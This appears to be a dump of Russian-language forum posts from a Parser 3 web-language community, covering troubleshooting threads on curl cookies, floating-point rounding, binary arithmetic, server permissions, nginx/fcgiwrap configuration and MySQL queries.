^a.format делает аналогичное преобразование. \
\
[code]1. ^eval(5611.075000 * 1)[%.4f] = ^eval(5611.075000 * 1)[%.2f]\
2. ^eval(5611.0550 * 1)[%.4f] = ^eval(5611.0550 * 1)[%.2f]\
^eval(5611.0150 * 1)[%.4f] = ^eval(5611.0150 * 1)[%.2f]\
^eval(5611.0250 * 1)[%.4f] = ^eval(5611.0250 * 1)[%.2f]\
^eval(5611.0350 * 1)[%.4f] = ^eval(5611.0350 * 1)[%.2f]\
^eval(5611.0450 * 1)[%.4f] = ^eval(5611.0450 * 1)[%.2f][/code]\
\
Это баг/хитрая логика или я что-то не правильно понимаю?"
"78066","Добрый день!\
Столкнулся с такой проблемой:\
Парсером загружаю страницу ip.php, на которой идет вызов $_SERVER[\"REMOTE_ADDR\"];\
Так вот: если вызвать ip.php напрямую - выдается один ip(реальный), а если данные со страницы ip.php идут через парсер - ip меняется на посторонний.\
Страница подгружается так:\
$url[http://.../ip.php]\
				$hash[\
					$.method[POST]\
					$.timeout(20)\
					$.form[ \
						$.id[$PAGE.id] \
					]\
				] \
$f[^file::load[text;$url;$hash]]\
\
^untaint[as-is]{$f.text}\
\
В чем может быть загвоздка?"
"78067","Вполне логично. PHP выдает тот адрес с которого вы делаете запрос из Парсера, т.е. ip-адрес вашего сервера.\
\
p.s. IP-адрес посетителя можно получить и из Парсера — $env:REMOTE_ADDR"
"78068","Привет.\
Хочу прикрутить авторизацию через соц. сети, используя http://ulogin.ru/\
При авторизации нужно выполнять код:\
[code]$s = file_get_contents('http://ulogin.ru/token.php?token=' . $_POST['token'] . '&host=' . $_SERVER['HTTP_HOST']);[/code]\
\
Подскажите, коллеги, как этот token ($_POST['token']) на Парсере получить?\
\
Спасибо."
"78069","А то количество форм на одной странице растет и все сложнее из разруливать между собой.\
У меня на данный момент почему-то когда на одной странице две формы, то у них одинаковый uid. Так и должно быть?"
"78070","Имеется апач в стандартной конфигурации. Скрипты работают из папки /var/www/localhost/cgi-bin\
Соответственно parser запускается с правами пользователя apache. Владельцем папки с сайтом и файлов внутри её является другой пользователь, например parser. Получается конфликт, и парсер не запускается. Можно ли запустить парсер c правами пользователя parser? \
Приблизительно нашел, что копать опцию suexec, но конкретных примеров пока не нашел."
"78071","Если Апач собран с поддержкой suexec'а, то в конфиге прописываем юзера и группу и запускаться будет как надо — http://httpd.apache.org/docs/2.2/suexec.html\
\
Если есть проблемы с настройкой, то можно взять версию без safe mode. Это менее безопасно, но такие версии разработчики тоже собирают, но ссылку на них не выкладывают. См. форум — http://www.parser.ru/forum/?terms=grpunlim&author=&doSearch=%CD%E0%E9%F2%E8"
"78072","[code]\
  $f[^file::load[text;http://ulogin.ru/token.php;\
    $.method[get]\
    $.form[\
       $.token[$form:token]\
       $.host[$env:HTTP_HOST]\
    ]\
  ]]\
  $f.text\
[/code]"
"78074","А без него действительно работает успешно."
"78075","там метод reinit есть.\
его надо использовать для отображения другой формы или если сразу после обработки action-а требуется вывести форму с новым uid.\
\
P.S. а вообще надо новый архив залить в примеры."
"78076","Авторы mono считают libgc своей неотделимой частью,\
\
AC_MSG_ERROR([This module is now part of 'mono' and cannot be built as a stand-alone module any longer.])\
\
но если чуть подправить скрипт сборки, оно таки соберется.\
\
Более того, их версия libgc не падает и похоже даже работает, действительно собирает мусор на проблемной конфигурации:\
\
gc_memory(1900 used/660 free, 1780 ever allocated) before\
gc_memory(244 used/2316 free, 1782 ever allocated) after\
\
При этом с последней \"официально\" доступной libgc 7.2d (от 15-Aug-2012) проблема остается, авторы mono у себя баги исправили и похоже на этом успокоились.\
Но надежнее использовать версию обычной gc без сборки мусора - версия libgc от mono нами с оригинальной не сравнивалась и не тестировалась."
"78077","Тут, к сожалению, дело не в парсере и не в OS X. Программа на C на любом x86 выведет то же самое. И две последние строки являются ключем к тому, почему так происходит.\
\
#include \"stdio.h\"\
int main(int argc, char *argv[]) {\
        double a=5611.075000;\
        double b=5611.0550;\
        printf(\"%.2f\\n\",a);\
        printf(\"%.2f\\n\",b);\
        printf(\"%.16f\\n\",a);\
        printf(\"%.16f\\n\",b);\
}\
\
Вывод:\
\
5611.07\
5611.06\
5611.0749999999998181\
5611.0550000000002910\
\
Пара ссылок \"на почитать\":\
\
http://www.perlmonks.org/?node_id=109360\
http://bugs.python.org/issue5118\
\
В качестве решения предлагается добавлять \"маленькое число\". Проблема в том, что величина этого epsilon зависит от размерности\
используемых чисел. То есть если у вас в ходу числа до 1e9, а всего значащих чисел в double 15-16, то надо добавлять 0.000001\
перед каждым преобразованием в строку..."
"78078","Да, действительно, глубоко внутри сидели эти вызовы (\
\
Спасибо большое, без вас бы не разобрались"
"78079","То, что нужно, спасибо!"
"78081","Нужно авторизоваться на сайте и забрать страницу.\
авторизация происходит нормально.\
но при следующем запросе (внутри этой же сессии) curl не отдает полученые куки.\
параметр $.cookiesession[1] включен.\
\
Код\
[code]\
@browse[]\
^curl:session{ \
   ^curl:options[ \
      $.charset[UTF-8] \
      $.timeout(10) \
      $.useragent[Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22]\
      $.cookiesession[1]\
   ]\
 \
$file1[^curl:load[ \
      $.url[http://server.name/signon.aspx] \
      $.postfields[строка авторизации]\
]\
]   \
\
$file2[^curl:load[ \
	$.url[http://server.name/SimulcastItemBrowse.aspx?^untaint{$request:query}]\
	$.httpget[1]\
]\
]\
^untaint{$file2.text}\
}\
[/code]"
"78082","http://www.parser.ru/docs/lang/?curloptionsdesc.htm"
"78083","поправил (и httpget), результат тот же.\
парсеру в данном случае все равно какие скобки, главное чтоб значение было int"
"78084","CURLOPT_COOKIESESSION\
 Pass a long set to [b]1[/b] to mark this as a new cookie \"session\". It will force libcurl [b]to ignore all cookies it is about to load that are \"session cookies\" from the previous session[/b]. By default, libcurl always stores and loads all cookies, independent if they are session cookies or not. Session cookies are cookies without expiry date and they are meant to be alive and existing for this \"session\" only.\
\
http://curl.haxx.se/libcurl/c/curl_easy_setopt.html#CURLOPTCOOKIESESSION\
\
Поставьте там ноль."
"78085","эта опция \"обнуляет\" для _текущей_ сессии предшествующие куки из предыдущих сессий если таковые были.\
Но свои куки должны быть. то что они отдаются сервером я вижу через httpdebugger, но на повторный запрос серверу они не предоставляются."
"78086","можно прописать culr-у куки принудительно, но как их у него забрать?"
"78087","[quote]\
 Пришедшие cookies помещаются в поле cookies в виде таблицы со столбцами name, value, expires, max-age, domain, path, httponly и secure.   [3.4.2] \
[/quote]\
http://www.parser.ru/docs/lang/fileload.htm"
"78088","Спасибо, уже ближе к теме, но...\
$file1.cookies.name - пусто\
\
[code]\
^if(def $file1.cookies){\
$cooktab[^table::create[$file1.cookies]]\
^cooktab.save[cookies.txt]}\
[/code]\
тоже пусто"
"78089","... надо будет дописать парсинг прямо в класс curl.\
\
Пока можно воспользоваться полем SET-COOKIE, но в него попадет только самая последняя кука, полученная с сервера.\
\
[code]\
  $f[^curl:load[\
    $.url[http://mail.ru/]\
  ]]\
  $f.SET-COOKIE\
[/code]"
"78091","[code]\
$f1[^file::load[text;http://server.name/signon.aspx; \
   $.timeout(30) \
   $.method[POST]\
   $.headers[\
   $.user-agent[Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22]\
   ] \
   $.body[строка авторизации] \
]]\
[/code]\
Ошибка вот в чем: при указании юзер-агента в нижнем регистре сервер его не распознает, видимо считает что его и нет совсем и делает редирект на мобильную версию без записи кук. А при указании агента как положено - парсер валится с ошибкой:\
Unhandled exception 0xC0000005 at 0x004035C3\
\
Версия парсера 3.4.2 win32"
"78092","Добрый день.\
\
Отправляю данные постом на страницу регистрации с помощью curl:load, получаю куку.\
В итоге есть 3 куки:\
1. A=1, получена из SET-COOKIE.\
2. B=2, константа.\
3. C=3, расчетная.\
\
Далее пробую загрузить страницу с использованием имеющихся кук двумя способами: с помощью curl:load и file::load.\
1. Получаю сообщение, что нужно авторизоваться:\
[code]\
	$fFile[^curl:load[\
		$.mode[text]\
		$.timeout(600)\
		$.charset[UTF-8]\
		$.url[http://путь к странице]\
		$.cookie[A=1&B=2&C=3]\
	]]\
[/code]\
2. Успешно получаю данные:\
[code]\
	$fFile[^file::load[text;http://путь к странице;\
		$.timeout(600)\
		$.charset[UTF-8]\
		$.cookies[\
			$.A[1]\
			$.B[2]\
			$.C[3]\
		]\
	]]\
[/code]\
\
Какие еще параметры надо передать в CURL, чтобы пример 1 заработал?"
"78094","Большое спасибо за подсказку.\
\
Разделитель параметров в $.cookie я взял из $.postfields по аналогии, но в последнем используется символ \"&\", а в куках - символ \";\".:)"
"78095","[code]А при указании агента как положено - парсер валится с ошибкой:[/code]\
\
Дадите \"работающий\" (то есть падающий bug.html) - посмотрю на ошибку.\
Скорее всего возвращается другой (тот, что вам нужно) ответ, и падает\
уже на его обработке или парсинге."
"78096","Ниже есть кусок кода сохраняющего таблицу с куками в файл, чтоб посмотреть, что в куках.\
падает вот на этом\
[code]\
^if(def $f1.cookies){\
$cooktab[^table::create[$f1.cookies]]\
^cooktab.save[cookies.txt]\
}\
[/code]\
причем именно на сохранении"
"78099","Подскажите пожалуйста!\
Хочется посмотреть Redis.\
Самое простое file::exec и консоль redis-cli, но подобная конструкция отнимает много времени.\
Есть ли ещё способы общаться напрямую (или с минимальными затратами времени) с Redis?\
Посмотрел $console:line. Там заголовки нужны и т.п. и не понятно, как использовать :(\
http://redis.io/topics/protocol\
\
Что-либо по сокетам и т.п. тоже не нашёл.\
Драйвер, к сожалению, не напишу :(\
\
Попробовал конструкцию вида:\
@main[]\
^connect[mysql://@127.0.0.1:6379/]{\
	$tmp[^int:sql{get foo}]\
	$tmp\
}\
Redis подхватывает подключение :), но оно подвисает.\
Страничка крутится бесконечно долго, а после закрытия соединение то же висеть остаётся :)\
\
Только через exec? :(\
\
Заранее благодарю!"
"78101","Большое спасибо!\
Сам бы ни за что не нашёл :)\
\
Бегло посмотрел, т.е. через (эквивалент connect)\
^curl:session{\
}\
нужно будет запросы выполнять?\
\
З.Ы.: Пойду обновлять Парсер, а то до сих пор 3.1.3 :)"
"78103","Я бы всё равно не заметил! Всё работает (redis+webdis+curl)\
Осталось всё отстроить -.-"
"78105","В релизе 3.4.2 или в текущей?\
И ещё хочу спросить, добавляли парсинг кук для curl?"
"78106","разбор кук при загрузке файла при curl:load возможно скоро добавим.\
если нужно срочно -- пишите, дам патч для одной из возможных реализаций."
"78107","Может ли парсер оперировать двоичными числами?\
Интересуют операции сложения, сравнения. \
Например s=s+1, s=s+10, s=s+010 и тд. в цикле."
"78108","Если Вы про них http://www.parser.ru/docs/lang/exprops.htm"
"78109","сложение и вычитание двоичных чисел ничем не отличается от сложения и вычитания десятеричных чисел.\
\
насколько я понял, основная ваша проблема -- понять число в двоичном формате и вывести его в двоичном формате.\
\
понять число совсем несложно: ^math:convert[101](2;10)\
вывести чуть сложнее, но тоже можно (см. Lib.p/@dec2bin[])"
"78110","[quote]вывести чуть сложнее, но тоже можно (см. Lib.p/@dec2bin[])[/quote]\
\
А ^math:convert[$number](10;2) чем не устраивает? :)"
"78111","P.S. подправил свой @dec2bin, чтобы он тоже использовал ^math:convert[]"
"78113","Поделитесь информацией, если вы уже настраивали Parser 3 на Mac Server'е, у меня не получается настроить его чтобы дать ему права на запись файлов."
"78115","Установил Mac mini + OS X Mountain Lion + OS X Server.\
Настроил роутер. В приложении OS X Server настроил работу служб DNS и веб-сайтов.\
Залил содержимое сайта, скачал последнюю версию Parser 3 для Mac OS X.\
Обычная версия выдает ошибку:\
\
	[quote]parser is in safe mode: reading files of foreign group and user disabled[/quote]\
	\
Залил версию без safe mode, все работает, но при попытке создать какой-либо файл парсером возникает другая ошибка, например, при создании hashfile:\
\
	[quote]pa_sdbm_open(shared) error: Permission denied (13)[/quote]"
"78116","В Линуксах подобное возникает, если владелец/пользователь Парсера не совпадает с владельцем/пользователем каталогов и файлов (любых, к которым обращается Парсер).\
Посмотрите кто рождает Парсер и кто владелец файлов.\
З.Ы.: Может я и не прав :), но как вариант."
"78117","[quote]сложение и вычитание двоичных чисел ничем не отличается от сложения и вычитания десятеричных чисел.[/quote]\
Не совсем понял\
К примеру ^eval(011100+101011) дает 112111 то есть десятичное число.\
Из хелпа [url=\"http://www.parser.ru/docs/lang/numlit.htm\"]docs[/url] [quote]\"0xA8 равно 168\"[/quote] понятно как задается в шестнадцатеричном, в двоичном не нашел."
"78119","Спасибо )"
"78120","делаю сборку, и не выходит.\
\
curl.C: In function 'void _curl_load_action(Request&, MethodParams&)':\
curl.C:634: error: 'HTTP_COOKIES_NAME' was not declared in this scope\
*** Error code 1\
\
Stop in /www/oklogist/parser3/src/classes.\
*** Error code 1"
"78122","На сайте в основной документации нет. \
Где посмотреть?"
"78123","... то я попробовал сделать следующее:\
\
— Сделал на диске папку www/server (лучше всего на отдельном диске или в папке вашего пользователя).\
— Сделал папку cgi в которую положил 64-битную grpunlim-весрию Парсера (3.4.2) и конфигурационные файлы.\
— Создал файл .htaccess (включил его в настройках сервера) в который прописал:\
[code]\
AddHandler parsed-html html                                                                                                                                                                                                    \
Action parsed-html /cgi/parser3.cgi\
[/code]\
\
— Сделал простейший тест:\
[code]\
@main[]                                                                                                                                                                                                                        \
  $env:SERVER_NAME                                                                                                                                                                                                             \
..                                                                                                                                                                                                                             \
  $s[Hello world!]                                                                                                                                                                                                             \
  ^s.save[hello.txt]                                                                                                                                                                                                           \
  $f[^file::load[text;hello.txt]]                                                                                                                                                                                              \
  $f.text                                                                                                                                                                                                                      \
..                                                                                                                                                                                                                             \
  $hf[^hashfile::open[hf_test]]                                                                                                                                                                                                \
  ^for[i](1;10){                                                                                                                                                                                                               \
    $hf.[key_$i][value_$i]                                                                                                                                                                                                     \
  }                                                                                                                                                                                                                            \
  ^hf.foreach[k;v]{$k -> $v}[, ] \
[/code]\
\
Скрипт заработал но, на мой взгляд, серверная подсистема ОС Тен не подходит ни для разработки ни для тестирования — она заточена только под те вещи, которые настроили разработчики конфигуратора Апача, встроенного в Сервер. :)\
\
Вариантов два: \
— Поднять апач и прочие сервисы вручную, например через Homebrew — http://mxcl.github.com/homebrew/. Но это если хочется долго и упорно плясать вокруг довольно специфической юникс-среды макоси.\
— Установить Паралелс Десктоп или Виртуалбокс и установить в виртуальной машине Фрибсд или Линукс и настроить среду разработки внутри виртуалки — это сильно проще, удобней и полезней для общего равития."
"78124","^math:convert[^eval(^math:convert[011100](2;10)+^math:convert[101011](2;10))](10;2)"
"78126","... и дока по нему обновится вместе с выходом релиза.\
\
Интерфейс метода:\
^math:digest[sha1|md5;string; $.format[hex|base64] $.hmac[key]]\
\
Этот метод заменяет отдельные методы вычисления хеш функций  (math:md5, math:sha1) и позволяет выводить результат в виде шестнадцатиричной строки или в кодировке base64. Чтобы результат работы функции можно было использовать в качестве надежной цифровой подписи math:digest поддерживает алгоритм [url=http://ru.wikipedia.org/wiki/HMAC]HMAC[/url], который считается стандартом для «ключевых хеш-функций» и нужен, например, для протокола oAuth.\
\
----------------\
\
Пример из теста 141 (см. исходники):\
[code]\
^math:md5[123]<br />\
^math:sha1[123]<br />\
^math:digest[sha1;123; $.hmac[pwd] ]<br />\
^math:digest[md5;123; $.hmac[pwd] ]<br />\
^math:digest[sha1;123; $.hmac[very-long-long-long-long-long-long-long-long-long-long-long-long-long-long-long-long-key] ]<br />\
^math:digest[md5;123; $.hmac[very-long-long-long-long-long-long-long-long-long-long-long-long-long-long-long-long-key] ]<br />\
[/code]\
\
Результат:\
[code]\
202cb962ac59075b964b07152d234b70<br />\
40bd001563085fc35165329ea1ff5c5ecbdbbeef<br />\
3e7784cada8b83cd582a003a38dcf65453612ff5<br />\
2360138bfa4acfa8d07c05f9de2f26e9<br />\
7dcd8a91d126b8a993338defcb87e19921f1e3a7<br />\
7e75889b954039a0ee3ef13bec86a511<br />\
[/code]"
"78127","Собралось замечательно, куки парсятся, однако в $f1.cookies попадает только последняя кука."
"78129","3 дня и 3 ночи бился головой о стену :)\
Пока не вырезал кусок из кода fcgiwrap работал криво.\
До сих пор не могу понять, как это может происходить.\
Там же есть строка: иф скрипт_нэйм ... ретурн :)\
Как он дальше исполняется мне непонятно.\
Пробовал и из репозитория ставить и компилять свежий - всегда переписывает переменные окружения (система Debian 6.0.7 x64).\
Если посмотреть на код, то он лишний и вредный для Парсера  :)\
\
[code]\
static char *get_cgi_filename(void) /* and fixup environment */\
{\
...\
\
if ((p = getenv(\"DOCUMENT_ROOT\"))) {\
docroot = p;\
docrootlen = strlen(p);\
buflen += docrootlen;\
} else {\
goto err;\
}\
\
if ((p = getenv(\"SCRIPT_NAME\"))) {\
buflen += strlen(p);\
scriptname = p;\
} else {\
goto err;\
}\
\
buf = malloc(buflen);\
if (!buf) goto err;\
\
strcpy(buf, docroot);\
strcpy(buf + docrootlen, scriptname);\
pathinfo = strdup(buf);\
if (!pathinfo) {\
goto err;\
}\
\
while(1) {\
switch(check_file_perms(buf)) {\
case -EACCES:\
goto err;\
case 0:\
rf_len = strlen(buf);\
if (rf_len < buflen - 1) {\
setenv(\"PATH_INFO\", pathinfo + rf_len, 1);\
setenv(\"SCRIPT_NAME\", buf + docrootlen, 1);\
} else {\
unsetenv(\"PATH_INFO\");\
}\
free(pathinfo);\
return buf;\
default:\
p = strrchr(buf, '/');\
if (!p) goto err;\
*p = 0;\
}\
}\
...\
}\
[/code]\
\
[b]Конфиги под ЧПУшки!!![/b]\
\
[b]ДЛЯ FCGIWRAP:[/b]\
server{\
	listen	80;\
	server_name	parser.test;\
	access_log	/var/log/nginx/parser.test.log;\
\
	try_files	$uri	$uri/	/index.html?req=$query_string;\
\
	location ~ \\.html$ {\
	root	/var/www/test/html;\
	fastcgi_pass	unix:/var/run/fcgiwrap.socket;\
\
	fastcgi_param 	SCRIPT_NAME	/index.html;\
	\
	fastcgi_param	SCRIPT_FILENAME	/var/www/test/cgi/parser3.cgi;\
	fastcgi_param	PATH_INFO	/index.html;\
	fastcgi_param	PATH_TRANSLATED	$document_root$uri;\
	fastcgi_param	DOCUMENT_ROOT	/var/www/test/html;\
	include fastcgi_params;\
	}\
	location ~ \\.(p|cfg|dir|pag|cgi|php|sh)$ {\
		deny all;\
}\
\
[b]ДЛЯ SIMPLECGI:[/b]\
server{\
	listen	80;\
	server_name	parser.test;\
	access_log	/var/log/nginx/parser.test.log;\
\
	try_files	$uri	$uri/	/index.html?req=$query_string;\
\
	location ~ \\.html$ {\
	root	/var/www/test/html;\
	fastcgi_pass	unix:/var/run/nginx/cgiwrap-dispatch.sock;\
\
	fastcgi_param 	SCRIPT_NAME	$fastcgi_script_name;\
	fastcgi_param	SCRIPT_FILENAME	/var/www/test/cgi/parser3.cgi;\
	fastcgi_param	PATH_INFO	$fastcgi_script_name;\
	fastcgi_param	PATH_TRANSLATED	/var/www/test/html$fastcgi_script_name;\
	include fastcgi_params;\
	}\
\
	location ~ \\.(p|cfg|dir|pag|cgi|php|sh)$ {\
		deny all;\
		}\
}\
\
Fcgiwrap в разы быстрее, чем simplecgi скрипт (просто в каком-то блоге человек высказывал сомнения).\
Для Парсера важны PATH_TRANSLATED (что будет обрабатывать Парсер) и SCRIPT_FILENAME (где Парсер лежит)."
"78130","Складываю двоичные числа. После каждой операции значение увеличивается на порядок. \
Получается так:\
[code]\
10\
100\
1000\
10000\
100000\
1000000\
10000000\
100000000\
1000000000\
10000000000\
100000000000\
1000000000000\
10000000000000\
100000000000000\
1000000000000000\
10000000000000000\
100000000000000000\
1000000000000000000\
10000000000000000000\
100000000000000000000\
1000000000000000000000\
10000000000000000000000\
99999999999999991611392\
999999999999999983222784\
9999999999999998758486016\
99999999999999987584860160\
999999999999999875848601600\
9999999999999999583119736832\
99999999999999991433150857216\
999999999999999879147136483328\
[/code]\
\
Какая максимальная длина двоичного числа? Судя по результату - 3 байта. Сложно ли сделать длиннее? Мне нужно более 40 бит.\
\
ps. Вероятно я перемудрил и лучше использовать строки."
"78131","[quote]Какая максимальная длина двоичного числа? Судя по результату - 3 байта.[/quote]\
\
4 байта, 32 бита.\
\
[quote]Сложно ли сделать длиннее? Мне нужно более 40 бит.[/quote]\
\
К сожалению, не на всех OS есть встроенные типы длиннее 32 бит. :(\
\
Так что боюсь руками, если надо только складывать, то относительно просто. Берете младшие 24 бита (24 символа) и остальное, каждую часть складываете и использованием math::convert. Если после складывания младших частей длина стала 25 символов, символ отрезаете, старшую часть увеличиваете на 1. Строки складываете.\
\
[quote]ps. Вероятно я перемудрил и лучше использовать строки.[/quote]\
\
Мне кажется проще комбинированный подход, или вы собираетесь их складывать как строки? :)"
"78132","Не могу победить вроде бы простую проблему. \
Пытаюсь установить на хостинг rusonyx VPS парсер. Причем ранее, на другом почти таком же их хостинге все проходило на ура. Сейчас же уткнулся в UTF...\
\
Итак, имеем. \
В cgi-bin положен parser3.cgi, библиотеки, таблицы кодировок и auto.p\
Все скачано с сайта. Без изменений. права 755 на parser3.cgi\
обработчиком парсер назначил. \
\
В корне положил test.html вот такого содержания:\
[code]@main[]\
<h1>Parser 3.x test page</h1>\
<br /> ^eval(2+2) \
\
#end @main[][/code]\
\
Результат корректный - залоголовок и 4. \
Таким образом понимаю, что парсер назначен обработчиком и обрабатывает. Ок. \
\
Но обращение скачанного с сайта и положенного в тот же корень _test.html с полным набором проверок выдает несколько неожиданный результат:\
change_case_UTF8 error: end pointers do not match\
\
upper\
\
/var/www/vhosts/mydomain.com/httpdocs/_test.html(136)\
\
В parser3.log - [Wed Mar 13 14:27:57 2013] [4722] /: /var/www/vhosts/mydomain.com/httpdocs/_test.html(136:38): 'upper' change_case_UTF8 error: end pointers do not match [<no type>] [uri=/, method=GET, cl=0]\
\
обращение напрямую к parser3.cgi - 500. \
\
\
В какую сторону смотреть? \
Спасибо!"
"78133","В UTF-8 _test.html перекодируйте.\
\
И в auto.p что у Вас?\
\
[code]\
$request:charset[utf-8]\
$response:charset[utf-8]\
[/code]\
\
?"
"78134","Перекодировал и в UTF-8 и в 1251. Без изменений.\
\
в auto.p \
[code]@auto[]\
#source/client charsets\
$request:charset[utf-8]\
$response:charset[utf-8]\
\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
][/code]"
"78137","Хм.. изменил в корневом auto.p на $request:charset[windows-1251]\
При этом сам файл auto.p и _test.html в UTF-8 кодировке.. \
\
насколько это правильно? Учитывая, что все тексты на сайте будут дергаться из базы, в самой базе они в UFT и будут использоваться специфические символы, типа немецких умляутов и т.д.?"
"78138","удалите (временно) конфигурационный и корневой auto.p и попробуйте /_test.html (перепроверьте, что он действительно корректно перекодирован в utf-8)"
"78139","Я хочу использовать Mac Mini как полноценный веб-сервер для своих небольших сайтов. И кстати он отлично справляется с этим, стоит уже несколько месяцев в комнате за телевизором и раздает статические странички и сайты на PHP/MySQL при этом его вообще не слышно.\
\
Проблему с записью файлов я решил установив права на запись [i]для всех[/i] на нужные папки."
"78140","Имеются числа:\
[b]$acc[^math:convert[1073741824](10;2)][/b] -> 1000000000000000000000000000000\
[b]$n[^math:convert[8388608](10;2)][/b] -> 100000000000000000000000\
\
Делаю [b]$acc[^eval($acc+$n)][/b] \
Получается 1000000100000000053647522136064\
\
С числами меньшей длины получается похожий результат. \
ОС linux x86 \
Linux homenet 3.5.7-gentoo\
В чем может быть проблема?"
"78141","math:convert вам возвращает строку с двоичным представлением числа.\
если вы пытаетесь сложить два таких числа, то они автоматически превращаются в десятеричные и складываются.\
это не то, что вам хотелось.\
\
вам предлагали на входе двоичные числа преобразовать в десятеричные.\
потом работать с десятеричными (складывать, вычитать, делать битовые операции)\
потом, на выходе, преобразовать в двоичную строку.\
\
или, если то-же самое на parser3, то примерно так:\
[code]\
$s1[1000000000000000000000000000000]\
$s2[100000000000000000000000]\
\
$i1(^math:convert[$s1](2;10))\
$i2(^math:convert[$s2](2;10))\
\
$i3($i1 + $i2)\
$i4($i3 | 2)\
\
\
^math:convert[$i3](10;2)<br />\
^math:convert[$i4](10;2)\
[/code]\
\
=>\
[code]\
1000000100000000000000000000000\
1000000100000000000000000000010\
[/code]\
\
P.S. а вообще расскажите, для чего вам вообще это потребовалось? каку задачу вы решаете?"
"78142","попробуйте пересобрать версию из HEAD. теперь должно работать (на этот раз я проверил :) )\
\
P.S. и спасибо за терпение и помощь в тестировании."
"78143","Извините, что морочу голову. \
Есть форма с полями типа checkbox для заполнения списка комплектации автомобиля http://zartus.dyndns.org/parser/addnext.html . \
Перед этим другая форма со спецификацией авто http://zartus.dyndns.org/parser/addform.html .\
Все это отправляется в mysql.\
 \
С начала показалась очевидным представить комплектацию в виде двоичного числа. Если опция отмечена (if def) то текущей позиции по циклу присваивается 1 при помощи сложения, в другом случае  0. Поскольку длина двоичного числа ограничена - разбил на 2 коротких числа. Полученные 2 числа отправятся в поля таблицы mysql.\
Предполагалось, что получится, что-то вроде этого(не доделано):\
[code]\
$accessories[^table::load[accessories.cfg]] //список опций\
$n[^math:convert[536870912](10;2)]\
$i[^math:convert[536870912](10;2)]\
\
$acc[^math:convert[1073741824](10;2)]\
acc=$acc</br>\
$acc2[^math:convert[1073741824](10;2)]\
<p>\
^accessories.menu{\
  $an[$accessories.name]\
  ^if($accessories.section_id <= 30){\
    ^if(def $form:$an){\
      accb=$acc<br>\
      n=$n<br>\
      $acc[^eval($acc+$n)] \
      accp=$acc</br>\
      $n[^eval($n/^math:convert[2](10;2))]\
      np=$n<br>\
    }\
  }\
  ^if(def $form:$an){\
    $acc2[^eval($acc2+$i)]\
    $i[^eval($i/^math:convert[2](10;2))]\
  }\
}\
</p>\
$acc<br>\
$acc2<br>\
[/code]\
Можно, конечно что-то со строками сделать, но это,на первый взгляд, реализуется менее очевидно. (пока не нашел простого доступа к символу строки по номеру позиции a=abc[n]). Или создать для комплектации дополнительную таблицу, куда просто подряд записывать опции в текстовом виде."
"78144","тут вообще не нужны двоичные числа.\
\
тут подойдут обычные числа.\
без разницы, что будет лежать в mysql: строка с двоичным представлением числа 5 (0b101) или само число 5.\
\
работайте с битами на здоровье, но смысла конвертировать числа в 10101010 и обратно -- нет.\
ваши комплектующие будут иметь значения 1, 2, 4, 8, 16 итд (попробуйте перевести эти числа в двоичный вид в калькуляторе).\
\
формироваться значение будет так:\
\
[code] \
$h[^accessories.hash[value]]\
$value(0)\
^form:tables.acc.menu{\
	^value.inc(^h.[$form:tables.acc.field].value.int(0))\
}\
[/code]\
\
в БД пишите/читаете $value.\
проверить, отмечена данная опция можно с помощью битовой операции И (&): ^if($value & 16){отмечана опция со значением 16}\
\
P.S. кстати самое правильное решение -- это как раз доп. таблица, куда будут записываться связи. измените ваш подход и как можно раньше перейдите на такую реализацию. ваш случай -- не тот, где стоит использовать биты\
\
P.P.S любой символ в строке можно получить так: ^строка.mid(pos;1)"
"78145","Собрал, проверил - сбылась мечта нанайца, все работает, буду тащить проект дальше )\
\
PS\
Осталось дождаться релиза, чтоб и на винде можно было работать. А то неудобно каждый раз на сервер выгружать, собрать под виндой для меня темный лес."
"78148","Мне казалось, что при большой базе и расширенной форме поиска, битовый поиск в БД самое оно или это не так?"
"78149","я не уверен.\
\
поиск по битам в значении не будет использовать индексы (т.е. будут перебираться все записи в таблице и для каждой будет выполняться битовая операция).\
\
поиск с join -- будет.\
\
кроме того, если количество опций окажется больше, чем может быть бит в 4 байтах (больше 32), то всё придется переделывать. уже этого ограничения было-бы для меня достаточно, чтобы я не использовал в данном месте битовые поля."
"78150","Извините ошибся. В консоли mysql 0. Парсер дает нормальный ответ\
\
Пытаюсь определить номер последней добавленной записи.\
Запись добавляется через форму:\
[code]      </form>\
       ^if(def $form:date && \
           def $form:price &&\
           def $form:car_name &&\
           def $form:car_modification && \
           def $form:p_year && \
           def $form:engine_capacity && \
           def $form:engine_power && \
           def $form:injection && \
           def $form:drive_wheels && \
           def $form:s_wheel &&  \
           def $form:mileage && \
           def $form:body && \
           def $form:color &&  \
           def $form:cond && \
           def $form:owners){\
             ^connect[$connect_string]{\
               ^void:sql{insert into cars\
                   (date,price,car_name,car_modification,p_year,engine_capacity, engine_power, \
                   injection, drive_wheels, s_wheel, mileage, body, color,cond,owners,descr)\
   	            values\
   	           ('$form:date','$form:price','$form:car_name','$form:car_modification','$form:p_year','$form:engine_capacity',\
   	           '$form:engine_power','$form:injection','$form:drive_wheels','$form:s_wheel','$form:mileage','$form:body',\
   	           '$form:color','$form:cond','$form:owners','$form:descr')\
   	        }\
 	     }\
    	     ^connect[$connect_string]{\
    	       ^int:sql{select LAST_INSERT_ID()}\
    	     }\
      	  $response:body[\
  	  Добавлено\
  	  <a href=\"addnext.html\">next</a>\
	  ]\
\
       }{Заполните все поля}[/code]\
\
\
[b]^int:sql{select distinct LAST_INSERT_ID()}[/b]\
Ответ возвращает 0\
\
Запустил то же самое в консоли Mysql - там тоже 0. \
Добавил запись с одним полем через консоль:\
 [b]INSERT INTO cars (color) VALUES ('white');[/b]\
Команда \
 [b]SELECT LAST_INSERT_ID();[/b]\
\
дает нормальный номер записи.\
\
Что я делаю не так?"
"78151","Спасибо за ответы.\
\
Пока кончилось тем, что я создал дополнительную таблицу с 40 полями. В поля записывается 0 или 1. Это позволит выбирать записи по наличии опций простым SELECT.\
\
[code]$acc[^table::load[accessories.cfg]]\
^acc.menu{\
  $an[$acc.name]\
  ^if(def $form:$an){\
    ^if(^connect[$connect_string]{^int:sql{select exists (select * from accessories where id='1')}} eq 1){\
      ^connect[$connect_string]{\
        ^void:sql{UPDATE accessories \
                  SET a$acc.section_id='1'\
                  WHERE id='1'}\
      }\
    }{\
       ^connect[$connect_string]{\
       ^void:sql{insert into accessories (id, a$acc.section_id) values ('1', '1')}\
       }\
    }\
